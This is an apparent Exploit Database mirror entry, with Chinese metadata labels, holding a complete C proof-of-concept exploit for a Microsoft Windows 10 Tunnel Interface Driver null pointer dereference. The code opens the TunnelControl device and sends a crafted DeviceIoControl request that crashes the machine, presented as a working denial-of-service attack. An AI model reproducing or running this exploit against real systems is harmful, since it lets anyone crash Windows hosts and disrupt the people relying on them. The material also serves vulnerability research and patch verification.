Tunnel Interface Driver – Denial of Service

Exploit Database
185 阅读

作者： ExAllocatePool2

日期： 2023-03-28
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/51114/

// Exploit Title: Tunnel Interface Driver - Denial of Service

// Date: 07/15/2022

// Exploit Author: ExAllocatePool2

// Vendor Homepage: https://www.microsoft.com/

// Software Link: https://www.microsoft.com/en-us/software-download/windows10

// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)

// Tested on: Microsoft Windows

// GitHub Repository: https://github.com/Exploitables/MSRC-1

#include <Windows.h>

#include <stdio.h>

#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"

int main(int argc, char** argv);

int main(int argc, char** argv)

{

HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);

unsigned long long input_output = 0x4242424242424242;

unsigned long bytes_returned = 0x43434343;

unsigned char unused = 0;

SetConsoleTitleA("https://msrc.microsoft.com/");

printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");

if (h_driver == (HANDLE)-1)

{

printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());

unused = getchar();

return 1;

}

printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);

printf("\n[!] Triggering a denial of service via arbitrary read in 3...");

for (int i = 2; i > 0; i--)

{

Sleep(1000);

printf("\n[!] %d...", i);

}

DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);

unused = getchar();

printf("\n[-] Exploit failed. The machine should have crashed.");

return 0;

}